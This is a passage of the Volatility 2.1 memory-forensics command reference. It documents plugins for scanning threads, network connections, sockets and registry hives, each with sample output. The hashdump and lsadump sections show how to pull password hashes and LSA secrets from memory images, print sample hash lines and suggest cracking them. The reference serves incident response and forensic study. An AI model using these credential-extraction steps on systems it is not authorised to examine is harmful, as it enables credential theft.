    0x000000001724f400    2    1      1 0x0000000000000000           c:!users!testing!appdata!local!microsoft!windows!history!low!history.ie5!mshist012012022220120223!  
      
    0x000000001724f4c0    4    3      1 0x0000000000000000           _!SHMSFTHISTORY!_  
      
    0x00000000172517c0    2    1      1 0x0000000000000000           __DDrawExclMode__  
      
    0x00000000172783a0    2    1      1 0x0000000000000000           Lowhttp://sourceforge.net/  
      
    0x00000000172db840    4    3      1 0x0000000000000000           ConnHashTable<1892>_HashTable_Mutex  
      
    0x00000000172de1d0    2    1      1 0x0000000000000000           Feeds Store Mutex S-1-5-21-2628989162-3383567662-1028919141-1000  
      
    0x00000000173b8080    2    1      1 0x0000000000000000           DDrawDriverObjectListMutex  
      
    0x00000000173bd340    2    1      0 0xfffffa8000a216d0 1652:2000 ALTTAB_RUNNING_MUTEX  
      
    0x0000000017449c40    2    1      1 0x0000000000000000           DDrawWindowListMutex  
      
    [snip]
[/code]

##  symlinkscan

This plugin scans for symbolic link objects and outputs their information.

[code]

    $ python -f ~/Desktop/win7_trial_64bit.raw --profile=Win7SP0x64 symlinkscan  
      
    Volatile Systems Volatility Framework 2.1_alpha  
      
    Offset(P)            #Ptr   #Hnd Creation time            From                 To                                                            
      
    ------------------ ------ ------ ------------------------ -------------------- ------------------------------------------------------------  
      
    0x0000000000469780      1      0 2012-02-22 20:03:13      UMB#UMB#1...e1ba19f} \Device\00000048                                              
      
    0x0000000000754560      1      0 2012-02-22 20:03:15      ASYNCMAC             \Device\ASYNCMAC                                              
      
    0x0000000000ef6cf0      2      1 2012-02-22 19:58:24      0                    \BaseNamedObjects                                             
      
    0x00000000014b2a10      1      0 2012-02-22 20:02:10      LanmanRedirector     \Device\Mup\;LanmanRedirector                                 
      
    0x00000000053e56f0      1      0 2012-02-22 20:03:15      SW#{eeab7...abac361} \Device\KSENUM#00000001                                       
      
    0x0000000005cc0770      1      0 2012-02-22 19:58:20      WanArpV6             \Device\WANARPV6                                              
      
    0x0000000005cc0820      1      0 2012-02-22 19:58:20      WanArp               \Device\WANARP                                                
      
    0x0000000008ffa680      1      0 2012-02-22 19:58:24      Global               \BaseNamedObjects                                             
      
    0x0000000009594810      1      0 2012-02-22 19:58:24      KnownDllPath         C:\Windows\syswow64                                           
      
    0x000000000968f5f0      1      0 2012-02-22 19:58:23      KnownDllPath         C:\Windows\system32                                           
      
    0x000000000ab24060      1      0 2012-02-22 19:58:20      Volume{3b...f6e6963} \Device\CdRom0                                                
      
    0x000000000ab24220      1      0 2012-02-22 19:58:21      {EE0434CC...863ACC2} \Device\NDMP2                                                 
      
    0x000000000abd3460      1      0 2012-02-22 19:58:21      ACPI#PNP0...91405dd} \Device\00000041                                              
      
    0x000000000abd36f0      1      0 2012-02-22 19:58:21      {802389A0...A90C31A} \Device\NDMP3   
      
    [snip]
[/code]

##  thrdscan

To find ETHREAD objects in physical memory with pool tag scanning, use the
thrdscan command. Since an ETHREAD contains fields that identify its parent
process, you can use this technique to find hidden processes. One such use
case is documented in the CommandReference21\#psxview command. Also, for
verbose details, try the CommandReference21\#threads plugin.

[code]

    $ python vol.py -f ~/Desktop/win7_trial_64bit.raw --profile=Win7SP0x64 thrdscan  
      
    Volatile Systems Volatility Framework 2.1_alpha  
      
    Offset(P)             PID    TID      Start Address Create Time               Exit Time                  
      
    ------------------ ------ ------ ------------------ ------------------------- -------------------------  
      
    0x0000000008df68d0    280    392         0x77943260 2012-02-22 19:08:18                                  
      
    0x000000000eac3850   2040    144         0x76d73260 2012-02-22 11:28:59       2012-02-22 11:29:04        
      
    0x000000000fd82590    880   1944         0x76d73260 2012-02-22 20:02:29       2012-02-22 20:02:29        
      
    0x00000000103d15f0    880    884         0x76d73260 2012-02-22 19:58:43                                  
      
    0x00000000103e5480   1652   1788 0xfffff8a0010ed490 2012-02-22 20:03:44                                  
      
    0x00000000105a3940    916    324         0x76d73260 2012-02-22 20:02:07       2012-02-22 20:02:09        
      
    0x00000000105b3560    816    824         0x76d73260 2012-02-22 19:58:42                                  
      
    0x00000000106d1710    916   1228         0x76d73260 2012-02-22 20:02:11                                  
      
    0x0000000010a349a0    816    820         0x76d73260 2012-02-22 19:58:41                                  
      
    0x0000000010bd1060   1892   2280         0x76d73260 2012-02-22 11:26:13                                  
      
    0x0000000010f24230    628    660         0x76d73260 2012-02-22 19:58:34                                  
      
    0x0000000010f27060    568    648 0xfffff8a0017c6650 2012-02-22 19:58:34  
      
    [snip]
[/code]

#  Networking

##  connections

To view TCP connections that were active at the time of the memory
acquisition, use the connections command. This walks the singly-linked list of
connection structures pointed to by a non-exported symbol in the tcpip.sys
module.This command is for x86 and x64 Windows XP and Windows 2003 Server
only.

[code]

    $ python vol.py -f Win2003SP2x64.vmem --profile=Win2003SP2x64 connections  
      
    Volatile Systems Volatility Framework 2.1_alpha  
      
    Offset(V)          Local Address             Remote Address               Pid  
      
    ------------------ ------------------------- ------------------------- ------  
      
    0xfffffadfe6f2e2f0 172.16.237.150:1408       72.246.25.25:80             2136  
      
    0xfffffadfe72e8080 172.16.237.150:1369       64.4.11.30:80               2136  
      
    0xfffffadfe622d010 172.16.237.150:1403       74.125.229.188:80           2136  
      
    0xfffffadfe62e09e0 172.16.237.150:1352       64.4.11.20:80               2136  
      
    0xfffffadfe6f2e630 172.16.237.150:1389       209.191.122.70:80           2136  
      
    0xfffffadfe5e7a610 172.16.237.150:1419       74.125.229.187:80           2136  
      
    0xfffffadfe7321bc0 172.16.237.150:1418       74.125.229.188:80           2136  
      
    0xfffffadfe5ea3c90 172.16.237.150:1393       216.115.98.241:80           2136  
      
    0xfffffadfe72a3a80 172.16.237.150:1391       209.191.122.70:80           2136  
      
    0xfffffadfe5ed8560 172.16.237.150:1402       74.125.229.188:80           2136
[/code]

Output includes the virtual offset of the `_TCPT_OBJECT` by default. The
physical offset can be obtained with the -P switch.

##  connscan

To find `_TCPT_OBJECT` structures using pool tag scanning, use the connscan
command. This can find artifacts from previous connections that have since
been terminated, in addition to the active ones. In the output below, you'll
notice some fields have been partially overwritten, but some of the
information is still accurate. For example, the very last entry's Pid field is
0, but all other fields are still in tact. Thus, while it may find false
positives sometimes, you also get the benefit of detecting as much information
as possible.This command is for x86 and x64 Windows XP and Windows 2003 Server
only.

[code]

    $ python vol.py -f Win2K3SP0x64.vmem --profile=Win2003SP2x64 connscan  
      
    Volatile Systems Volatility Framework 2.1_alpha  
      
     Offset(P)  Local Address             Remote Address            Pid     
      
    ---------- ------------------------- ------------------------- ------   
      
    0x0ea7a610 172.16.237.150:1419       74.125.229.187:80           2136  
      
    0x0eaa3c90 172.16.237.150:1393       216.115.98.241:80           2136  
      
    0x0eaa4480 172.16.237.150:1398       216.115.98.241:80           2136  
      
    0x0ead8560 172.16.237.150:1402       74.125.229.188:80           2136  
      
    0x0ee2d010 172.16.237.150:1403       74.125.229.188:80           2136  
      
    0x0eee09e0 172.16.237.150:1352       64.4.11.20:80               2136  
      
    0x0f9f83c0 172.16.237.150:1425       98.139.240.23:80            2136  
      
    0x0f9fe010 172.16.237.150:1394       216.115.98.241:80           2136  
      
    0x0fb2e2f0 172.16.237.150:1408       72.246.25.25:80             2136  
      
    0x0fb2e630 172.16.237.150:1389       209.191.122.70:80           2136  
      
    0x0fb72730 172.16.237.150:1424       98.139.240.23:80            2136  
      
    0x0fea3a80 172.16.237.150:1391       209.191.122.70:80           2136  
      
    0x0fee8080 172.16.237.150:1369       64.4.11.30:80               2136  
      
    0x0ff21bc0 172.16.237.150:1418       74.125.229.188:80           2136  
      
    0x1019ec90 172.16.237.150:1397       216.115.98.241:80           2136  
      
    0x179099e0 172.16.237.150:1115       66.150.117.33:80            2856  
      
    0x2cdb1bf0 172.16.237.150:139        172.16.237.1:63369             4  
      
    0x339c2c00 172.16.237.150:1138       23.45.66.43:80              1332  
      
    0x39b10010 172.16.237.150:1148       172.16.237.138:139             0
[/code]

##  sockets

To detect listening sockets for any protocol \(TCP, UDP, RAW, etc\), use the
sockets command. This walks a singly-linked list of socket structures which is
pointed to by a non-exported symbol in the tcpip.sys module.This command is
for x86 and x64 Windows XP and Windows 2003 Server only.

[code]

    $ python vol.py -f Win2K3SP0x64.vmem --profile=Win2003SP2x64 sockets  
      
    Volatile Systems Volatility Framework 2.1_alpha  
      
    Offset(V)             PID   Port  Proto Protocol        Address         Create Time  
      
    ------------------ ------ ------ ------ --------------- --------------- -----------  
      
    0xfffffadfe71bbda0    432   1025      6 TCP             0.0.0.0         2012-01-23 18:20:01   
      
    0xfffffadfe7350490    776   1028     17 UDP             0.0.0.0         2012-01-23 18:21:44   
      
    0xfffffadfe6281120    804    123     17 UDP             127.0.0.1       2012-06-25 12:40:55   
      
    0xfffffadfe7549010    432    500     17 UDP             0.0.0.0         2012-01-23 18:20:09   
      
    0xfffffadfe5ee8400      4      0     47 GRE             0.0.0.0         2012-02-24 18:09:07   
      
    0xfffffadfe606dc90      4    445      6 TCP             0.0.0.0         2012-01-23 18:19:38   
      
    0xfffffadfe6eef770      4    445     17 UDP             0.0.0.0         2012-01-23 18:19:38   
      
    0xfffffadfe7055210   2136   1321     17 UDP             127.0.0.1       2012-05-09 02:09:59   
      
    0xfffffadfe750c010      4    139      6 TCP             172.16.237.150  2012-06-25 12:40:55   
      
    0xfffffadfe745f610      4    138     17 UDP             172.16.237.150  2012-06-25 12:40:55   
      
    0xfffffadfe6096560      4    137     17 UDP             172.16.237.150  2012-06-25 12:40:55   
      
    0xfffffadfe7236da0    720    135      6 TCP             0.0.0.0         2012-01-23 18:19:51   
      
    0xfffffadfe755c5b0   2136   1419      6 TCP             0.0.0.0         2012-06-25 12:42:37   
      
    0xfffffadfe6f36510   2136   1418      6 TCP             0.0.0.0         2012-06-25 12:42:37         
      
    [snip]
[/code]

Output includes the virtual offset of the `_ADDRESS_OBJECT` by default. The
physical offset can be obtained with the -P switch.

##  sockscan

To find `_ADDRESS_OBJECT` structures using pool tag scanning, use the sockscan
command. As with connscan, this can pick up residual data and artifacts from
previous sockets.This command is for x86 and x64 Windows XP and Windows 2003
Server only.

[code]

    $ python vol.py -f Win2K3SP0x64.vmem --profile=Win2003SP2x64 sockscan  
      
    Volatile Systems Volatility Framework 2.1_alpha  
      
    Offset(P)             PID   Port  Proto Protocol        Address         Create Time  
      
    ------------------ ------ ------ ------ --------------- --------------- -----------  
      
    0x0000000000608010    804    123     17 UDP             172.16.237.150  2012-05-08 22:17:44   
      
    0x000000000eae8400      4      0     47 GRE             0.0.0.0         2012-02-24 18:09:07   
      
    0x000000000eaf1240   2136   1403      6 TCP             0.0.0.0         2012-06-25 12:42:37   
      
    0x000000000ec6dc90      4    445      6 TCP             0.0.0.0         2012-01-23 18:19:38   
      
    0x000000000ec96560      4    137     17 UDP             172.16.237.150  2012-06-25 12:40:55   
      
    0x000000000ecf7d20   2136   1408      6 TCP             0.0.0.0         2012-06-25 12:42:37   
      
    0x000000000ed5a010   2136   1352      6 TCP             0.0.0.0         2012-06-25 12:42:18   
      
    0x000000000ed84ca0    804    123     17 UDP             172.16.237.150  2012-06-25 12:40:55   
      
    0x000000000ee2d380   2136   1393      6 TCP             0.0.0.0         2012-06-25 12:42:37   
      
    0x000000000ee81120    804    123     17 UDP             127.0.0.1       2012-06-25 12:40:55   
      
    0x000000000eeda8c0    776   1363     17 UDP             0.0.0.0         2012-06-25 12:42:20   
      
    0x000000000f0be1a0   2136   1402      6 TCP             0.0.0.0         2012-06-25 12:42:37   
      
    0x000000000f0d0890      4   1133      6 TCP             0.0.0.0         2012-02-24 18:09:07  
      
    [snip]
[/code]

##  netscan

To scan for network artifacts in 32- and 64-bit Windows Vista, Windows 2008
Server and Windows 7 memory dumps, use the netscan command. This finds TCP
endpoints, TCP listeners, UDP endpoints, and UDP listeners. It distinguishes
between IPv4 and IPv6, prints the local and remote IP \(if applicable\), the
local and remote port \(if applicable\), the time when the socket was bound or
when the connection was established, and the current state \(for TCP
connections only\). For more information, see Volatility's New Netscan
Module.Please note the following:

  * The netscan command uses pool tag scanning
  * There are at least 2 alternate ways to enumerate connections and sockets on Vista+ operating systems. One of them is using partitions and dynamic hash tables, which is how the netstat.exe utility on Windows systems works. The other involves bitmaps and port pools. Plugins for both of these methods exist for the Volatility 2.1 framework, but are currently not in the public trunk.

[code]

    $ python vol.py -f ~/Desktop/win7_trial_64bit.raw --profile=Win7SP0x64 netscan  
      
    Volatile Systems Volatility Framework 2.1_alpha  
      
    Offset(P)  Proto    Local Address                  Foreign Address      State            Pid      Owner          Created  
      
    0xf882a30  TCPv4    0.0.0.0:135                    0.0.0.0:0            LISTENING        628      svchost.exe      
      
    0xfc13770  TCPv4    0.0.0.0:49154                  0.0.0.0:0            LISTENING        916      svchost.exe      
      
    0xfdda1e0  TCPv4    0.0.0.0:49154                  0.0.0.0:0            LISTENING        916      svchost.exe      
      
    0xfdda1e0  TCPv6    :::49154                       :::0                 LISTENING        916      svchost.exe      
      
    0x1121b7b0 TCPv4    0.0.0.0:135                    0.0.0.0:0            LISTENING        628      svchost.exe      
      
    0x1121b7b0 TCPv6    :::135                         :::0                 LISTENING        628      svchost.exe      
      
    0x11431360 TCPv4    0.0.0.0:49152                  0.0.0.0:0            LISTENING        332      wininit.exe      
      
    0x11431360 TCPv6    :::49152                       :::0                 LISTENING        332      wininit.exe      
      
      
      
    [snip]  
      
      
      
    0x17de8980 TCPv6    :::49153                       :::0                 LISTENING        444      lsass.exe        
      
    0x17f35240 TCPv4    0.0.0.0:49155                  0.0.0.0:0            LISTENING        880      svchost.exe      
      
    0x17f362b0 TCPv4    0.0.0.0:49155                  0.0.0.0:0            LISTENING        880      svchost.exe      
      
    0x17f362b0 TCPv6    :::49155                       :::0                 LISTENING        880      svchost.exe      
      
    0xfd96570  TCPv4    -:0                            232.9.125.0:0        CLOSED           1        ?C?              
      
    0x17236010 TCPv4    -:49227                        184.26.31.55:80      CLOSED           2820     iexplore.exe     
      
    0x1725d010 TCPv4    -:49359                        93.184.220.20:80     CLOSED           2820     iexplore.exe     
      
    0x17270530 TCPv4    10.0.2.15:49363                173.194.35.38:80     ESTABLISHED      2820     iexplore.exe     
      
    0x17285010 TCPv4    -:49341                        82.165.218.111:80    CLOSED           2820     iexplore.exe     
      
    0x17288a90 TCPv4    10.0.2.15:49254                74.125.31.157:80     CLOSE_WAIT       2820     iexplore.exe     
      
    0x1728f6b0 TCPv4    10.0.2.15:49171                204.245.34.130:80    ESTABLISHED      2820     iexplore.exe     
      
    0x17291ba0 TCPv4    10.0.2.15:49347                173.194.35.36:80     CLOSE_WAIT       2820     iexplore.exe     
      
      
      
    [snip]  
      
      
      
    0x17854010 TCPv4    -:49168                        157.55.15.32:80      CLOSED           2820     iexplore.exe     
      
    0x178a2a20 TCPv4    -:0                            88.183.123.0:0       CLOSED           504      svchost.exe      
      
    0x178f5b00 TCPv4    10.0.2.15:49362                173.194.35.38:80     CLOSE_WAIT       2820     iexplore.exe     
      
    0x17922910 TCPv4    -:49262                        184.26.31.55:80      CLOSED           2820     iexplore.exe     
      
    0x17a9d860 TCPv4    10.0.2.15:49221                204.245.34.130:80    ESTABLISHED      2820     iexplore.exe     
      
    0x17ac84d0 TCPv4    10.0.2.15:49241                74.125.31.157:80     CLOSE_WAIT       2820     iexplore.exe     
      
    0x17b9acf0 TCPv4    10.0.2.15:49319                74.125.127.148:80    CLOSE_WAIT       2820     iexplore.exe     
      
    0x10f38d70 UDPv4    10.0.2.15:1900                 *:*                                   1736     svchost.exe    2012-02-22 20:04:12   
      
    0x173b3dc0 UDPv4    0.0.0.0:59362                  *:*                                   1736     svchost.exe    2012-02-22 20:02:27   
      
    0x173b3dc0 UDPv6    :::59362                       *:*                                   1736     svchost.exe    2012-02-22 20:02:27   
      
    0x173b4cf0 UDPv4    0.0.0.0:3702                   *:*                                   1736     svchost.exe    2012-02-22 20:02:27   
      
    0x173b4cf0 UDPv6    :::3702                        *:*                                   1736     svchost.exe    2012-02-22 20:02:27  
      
    [snip]
[/code]

#  Registry

Volatility is the only memory forensics framework with the ability to carve
registry data. For more information, see BDG's Memory Registry Tools and
Registry Code Updates.

##  hivescan

To find the physical addresses of CMHIVEs \(registry hives\) in memory, use
the hivescan command. For more information, see BDG's Enumerating Registry
Hives.This plugin isn't generally useful by itself. Its meant to be inherited
by other plugins \(such as CommandReference21\#hivelist below\) that build on
and interpret the information found in CMHIVEs.

[code]

    $python vol.py -f ~/Desktop/win7_trial_64bit.raw --profile=Win7SP0x64 hivescan  
      
    Volatile Systems Volatility Framework 2.1_alpha  
      
    Offset(P)           
      
    ------------------  
      
    0x0000000008c95010  
      
    0x000000000aa1a010  
      
    0x000000000acf9010  
      
    0x000000000b1a9010  
      
    0x000000000c2b4010  
      
    0x000000000cd20010  
      
    0x000000000da51010  
      
    [snip]
[/code]

##  hivelist

To locate the virtual addresses of registry hives in memory, and the full
paths to the corresponding hive on disk, use the hivelist command. If you want
to print values from a certain hive, run this command first so you can see the
address of the hives.

[code]

    $ python vol.py -f ~/Desktop/win7_trial_64bit.raw --profile=Win7SP0x64 hivelist  
      
    Volatile Systems Volatility Framework 2.1_alpha  
      
    Virtual            Physical           Name  
      
    ------------------ ------------------ ----  
      
    0xfffff8a001053010 0x000000000b1a9010 \??\C:\System Volume Information\Syscache.hve  
      
    0xfffff8a0016a7420 0x0000000012329420 \REGISTRY\MACHINE\SAM  
      
    0xfffff8a0017462a0 0x00000000101822a0 \??\C:\Windows\ServiceProfiles\NetworkService\NTUSER.DAT  
      
    0xfffff8a001abe420 0x000000000eae0420 \??\C:\Windows\ServiceProfiles\LocalService\NTUSER.DAT  
      
    0xfffff8a002ccf010 0x0000000014659010 \??\C:\Users\testing\AppData\Local\Microsoft\Windows\UsrClass.dat  
      
    0xfffff80002b53b10 0x000000000a441b10 [no name]  
      
    0xfffff8a00000d010 0x000000000ddc6010 [no name]  
      
    0xfffff8a000022010 0x000000000da51010 \REGISTRY\MACHINE\SYSTEM  
      
    0xfffff8a00005c010 0x000000000dacd010 \REGISTRY\MACHINE\HARDWARE  
      
    0xfffff8a00021d010 0x000000000cd20010 \SystemRoot\System32\Config\SECURITY  
      
    0xfffff8a0009f1010 0x000000000aa1a010 \Device\HarddiskVolume1\Boot\BCD  
      
    0xfffff8a000a15010 0x000000000acf9010 \SystemRoot\System32\Config\SOFTWARE  
      
    0xfffff8a000ce5010 0x0000000008c95010 \SystemRoot\System32\Config\DEFAULT  
      
    0xfffff8a000f95010 0x000000000c2b4010 \??\C:\Users\testing\ntuser.dat
[/code]

##  printkey

To display the subkeys, values, data, and data types contained within a
specified registry key, use the printkey command. By default, printkey will
search all hives and print the key information \(if found\) for the requested
key. Therefore, if the key is located in more than one hive, the information
for the key will be printed for each hive that contains it.Say you want to
traverse into the HKEY\_LOCAL\_MACHINE\Microsoft\Security Center\Svc key. You
can do that in the following manner. Note: if you're running Volatility on
Windows, enclose the key in double quotes \(see  issue 166 \).

[code]

    $ python vol.py -f ~/Desktop/win7_trial_64bit.raw --profile=Win7SP0x64 printkey -K "Microsoft\Security Center\Svc"  
      
    Volatile Systems Volatility Framework 2.1_alpha  
      
    Legend: (S) = Stable   (V) = Volatile  
      
      
      
    ----------------------------  
      
    Registry: \SystemRoot\System32\Config\SOFTWARE  
      
    Key name: Svc (S)  
      
    Last updated: 2012-02-22 20:04:44   
      
      
      
    Subkeys:  
      
      (V) Vol  
      
      
      
    Values:  
      
    REG_QWORD     VistaSp1        : (S) 128920218544262440  
      
    REG_DWORD     AntiSpywareOverride : (S) 0  
      
    REG_DWORD     ConfigMask      : (S) 4361
[/code]

Here you can see how the output appears when multiple hives \(DEFAULT and
ntuser.dat\) contain the same key "Software\Microsoft\Windows
NT\CurrentVersion".

[code]

    $ python vol.py -f ~/Desktop/win7_trial_64bit.raw --profile=Win7SP0x64 printkey -K "Software\Microsoft\Windows NT\CurrentVersion"  
      
    Volatile Systems Volatility Framework 2.1_alpha  
      
    Legend: (S) = Stable   (V) = Volatile  
      
      
      
    ----------------------------  
      
    Registry: \SystemRoot\System32\Config\DEFAULT  
      
    Key name: CurrentVersion (S)  
      
    Last updated: 2009-07-14 04:53:31   
      
      
      
    Subkeys:  
      
      (S) Devices  
      
      (S) PrinterPorts  
      
      
      
    Values:  
      
    ----------------------------  
      
    Registry: \??\C:\Users\testing\ntuser.dat  
      
    Key name: CurrentVersion (S)  
      
    Last updated: 2012-02-22 11:26:13   
      
      
      
    Subkeys:  
      
      (S) Devices  
      
      (S) EFS  
      
      (S) MsiCorruptedFileRecovery  
      
      (S) Network  
      
      (S) PeerNet  
      
      (S) PrinterPorts  
      
      (S) Windows  
      
      (S) Winlogon  
      
      
      
    [snip]
[/code]

If you want to limit your search to a specific hive, printkey also accepts a
virtual address to the hive. For example, to see the contents of
HKEY\_LOCAL\_MACHINE, use the command below. Note: the offset is taken from
the previous CommandReference21\#hivelist output.

[code]

    $ python vol.py -f ~/Desktop/win7_trial_64bit.raw --profile=Win7SP0x64 printkey -o 0xfffff8a000a15010  
      
    Volatile Systems Volatility Framework 2.1_alpha  
      
    Legend: (S) = Stable   (V) = Volatile  
      
      
      
    ----------------------------  
      
    Registry: User Specified  
      
    Key name: CMI-CreateHive{199DAFC2-6F16-4946-BF90-5A3FC3A60902} (S)  
      
    Last updated: 2009-07-14 07:13:38   
      
      
      
    Subkeys:  
      
      (S) ATI Technologies  
      
      (S) Classes  
      
      (S) Clients  
      
      (S) Intel  
      
      (S) Microsoft  
      
      (S) ODBC  
      
      (S) Policies  
      
      (S) RegisteredApplications  
      
      (S) Sonic  
      
      (S) Wow6432Node
[/code]

##  hivedump

To recursively list all subkeys in a hive, use the hivedump command and pass
it the virtual address to the desired hive.

[code]

    $ python vol.py -f ~/Desktop/win7_trial_64bit.raw --profile=Win7SP0x64 hivedump -o 0xfffff8a000a15010  
      
    Volatile Systems Volatility Framework 2.1_alpha  
      
    Last Written         Key  
      
    2009-07-14 07:13:38  \CMI-CreateHive{199DAFC2-6F16-4946-BF90-5A3FC3A60902}  
      
    2009-07-14 04:48:57  \CMI-CreateHive{199DAFC2-6F16-4946-BF90-5A3FC3A60902}\ATI Technologies  
      
    2009-07-14 04:48:57  \CMI-CreateHive{199DAFC2-6F16-4946-BF90-5A3FC3A60902}\ATI Technologies\Install  
      
    2009-07-14 04:48:57  \CMI-CreateHive{199DAFC2-6F16-4946-BF90-5A3FC3A60902}\ATI Technologies\Install\South Bridge  
      
    2009-07-14 04:48:57  \CMI-CreateHive{199DAFC2-6F16-4946-BF90-5A3FC3A60902}\ATI Technologies\Install\South Bridge\ATI_AHCI_RAID  
      
    2009-07-14 07:13:39  \CMI-CreateHive{199DAFC2-6F16-4946-BF90-5A3FC3A60902}\Classes  
      
    2009-07-14 04:53:38  \CMI-CreateHive{199DAFC2-6F16-4946-BF90-5A3FC3A60902}\Classes\*  
      
    2009-07-14 04:53:38  \CMI-CreateHive{199DAFC2-6F16-4946-BF90-5A3FC3A60902}\Classes\*\OpenWithList  
      
    2009-07-14 04:53:38  \CMI-CreateHive{199DAFC2-6F16-4946-BF90-5A3FC3A60902}\Classes\*\OpenWithList\Excel.exe  
      
    2009-07-14 04:53:38  \CMI-CreateHive{199DAFC2-6F16-4946-BF90-5A3FC3A60902}\Classes\*\OpenWithList\IExplore.exe  
      
    [snip]
[/code]

##  hashdump

To extract and decrypt cached domain credentials stored in the registry, use
the hashdump command. For more information, see BDG's Cached Domain
Credentials and SANS Forensics 2009 - Memory Forensics and Registry
Analysis.To use hashdump, pass the virtual address of the SYSTEM hive as -y
and the virtual address of the SAM hive as -s, like this:

[code]

    $ python vol.py hashdump -f image.dd -y 0xe1035b60 -s 0xe165cb60   
      
    Administrator:500:08f3a52bdd35f179c81667e9d738c5d9:ed88cccbc08d1c18bcded317112555f4:::   
      
    Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::   
      
    HelpAssistant:1000:ddd4c9c883a8ecb2078f88d729ba2e67:e78d693bc40f92a534197dc1d3a6d34f:::   
      
    SUPPORT_388945a0:1002:aad3b435b51404eeaad3b435b51404ee:8bfd47482583168a0ae5ab020e1186a9:::   
      
    phoenix:1003:07b8418e83fad948aad3b435b51404ee:53905140b80b6d8cbe1ab5953f7c1c51:::   
      
    ASPNET:1004:2b5f618079400df84f9346ce3e830467:aef73a8bb65a0f01d9470fadc55a411c:::   
      
    S----:1006:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: 
[/code]

Hashes can now be cracked using John the Ripper, rainbow tables, etc.It is
possible that a registry key is not available in memory. When this happens,
you may see the following error:"ERROR : volatility.plugins.registry.lsadump:
Unable to read hashes from registry"You can try to see if the correct keys are
available: "CurrentControlSet\Control\lsa" from SYSTEM and
"SAM\Domains\Account" from SAM. First you need to get the "CurrentControlSet",
for this we can use volshell \(replace `[SYSTEM REGISTRY ADDRESS]` below with
the offset you get from hivelist\), for example:

[code]

    $ ./vol.py -f XPSP3.vmem --profile=WinXPSP3x86 volshell  
      
    Volatile Systems Volatility Framework 2.1_alpha  
      
    Current context: process System, pid=4, ppid=0 DTB=0x319000  
      
    Welcome to volshell! Current memory image is:   
      
    file:///XPSP3.vmem  
      
    To get help, type 'hh()'  
      
    >>> import volatility.win32.hashdump as h  
      
    >>> import volatility.win32.hive as hive  
      
    >>> addr_space = utils.load_as(self._config)  
      
    >>> sysaddr = hive.HiveAddressSpace(addr_space, self._config, [SYSTEM REGISTRY ADDRESS])  
      
    >>> print h.find_control_set(sysaddr)  
      
    1  
      
    >>> ^D
[/code]

Then you can use the printkey plugin to make sure the keys and their data are
there. Since the "CurrentControlSet" is 1 in our previous example, we use
"ControlSet001" in the first command:

[code]

    $ ./vol.py -f XPSP3.vmem --profile=WinXPSP3x86 printkey -K "ControlSet001\Control\lsa"   
      
      
      
    $ ./vol.py -f XPSP3.vmem --profile=WinXPSP3x86 printkey -K "SAM\Domains\Account"
[/code]

If the key is missing you should see an error message:"The requested key could
not be found in the hive\(s\) searched"

##  lsadump

To dump LSA secrets from the registry, use the lsadump command. This exposes
information such as the default password \(for systems with autologin
enabled\), the RDP public key, and credentials used by DPAPI.For more
information, see BDG's Decrypting LSA Secrets.To use lsadump, pass the virtual
address of the SYSTEM hive as the -y parameter and the virtual address of the
SECURITY hive as the -s parameter.

[code]

    $ python vol.py -f laqma.vmem lsadump -y 0xe1035b60 -s 0xe16a6b60  
      
    Volatile Systems Volatility Framework 2.0  
      
    L$RTMTIMEBOMB_1320153D-8DA3-4e8e-B27B-0D888223A588  
      
      
      
    0000   00 92 8D 60 01 FF C8 01                            ...`....  
      
      
      
    _SC_Dnscache  
      
      
      
    L$HYDRAENCKEY_28ada6da-d622-11d1-9cb9-00c04fb16e75  
      
      
      
    0000   52 53 41 32 48 00 00 00 00 02 00 00 3F 00 00 00    RSA2H.......?...  
      
    0010   01 00 01 00 37 CE 0C C0 EF EC 13 C8 A4 C5 BC B8    ....7...........  
      
    0020   AA F5 1A 7C 50 95 A4 E9 3B BA 41 C8 53 D7 CE C6    ...|P...;.A.S...  
      
    0030   CB A0 6A 46 7C 70 F3 21 17 1C FB 79 5C C1 83 68    ..jF|p.!...y...h  
      
    0040   91 E5 62 5E 2C AC 21 1E 79 07 A9 21 BB F0 74 E8    ..b^,.!.y..!..t.  
      
    0050   85 66 F4 C4 00 00 00 00 00 00 00 00 F9 D7 AD 5C    .f..............  
      
    0060   B4 7C FB F6 88 89 9D 2E 91 F2 60 07 10 42 CA 5A    .|........`..B.Z  
      
    0070   FC F0 D1 00 0F 86 29 B5 2E 1E 8C E0 00 00 00 00    ......).........  
      
    0080   AF 43 30 5F 0D 0E 55 04 57 F9 0D 70 4A C8 36 01    .C0_..U.W..pJ.6.  
      
    0090   C2 63 45 59 27 62 B5 77 59 84 B7 65 8E DB 8A E0    .cEY'b.wY..e....  
      
    00A0   00 00 00 00 89 19 5E D8 CB 0E 03 39 E2 52 04 37    ......^....9.R.7  
      
    00B0   20 DC 03 C8 47 B5 2A B3 9C 01 65 15 FF 0F FF 8F     ...G.*...e.....  
      
    00C0   17 9F C1 47 00 00 00 00 1B AC BF 62 4E 81 D6 2A    ...G.......bN..*  
      
    00D0   32 98 36 3A 11 88 2D 99 3A EA 59 DE 4D 45 2B 9E    2.6:..-.:.Y.ME+.  
      
    00E0   74 15 14 E1 F2 B5 B2 80 00 00 00 00 75 BD A0 36    t...........u..6  
      
    00F0   20 AD 29 0E 88 E0 FD 5B AD 67 CA 88 FC 85 B9 82     .)....[.g......  
      
    0100   94 15 33 1A F1 65 45 D1 CA F9 D8 4C 00 00 00 00    ..3..eE....L....  
      
    0110   71 F0 0B 11 F2 F1 AA C5 0C 22 44 06 E1 38 6C ED    q........"D..8l.  
      
    0120   6E 38 51 18 E8 44 5F AD C2 CE 0A 0A 1E 8C 68 4F    n8Q..D_.......hO  
      
    0130   4D 91 69 07 DE AA 1A EC E6 36 2A 9C 9C B6 49 1F    M.i......6*...I.  
      
    0140   B3 DD 89 18 52 7C F8 96 4F AF 05 29 DF 17 D8 48    ....R|..O..)...H  
      
    0150   00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00    ................  
      
    0160   00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00    ................  
      
    0170   00 00 00 00 00 00 00 00 00 00 00 00                ............  
      
      
      
    DPAPI_SYSTEM  
      
      
      
    0000   01 00 00 00 24 04 D6 B0 DA D1 3C 40 BB EE EC 89    ....$.....<@....  
      
    0010   B4 BB 90 5B 9A BF 60 7D 3E 96 72 CD 9A F6 F8 BE    ...[..`}>.r.....  
      
    0020   D3 91 5C FA A5 8B E6 B4 81 0D B6 D4                ............
[/code]

##  userassist

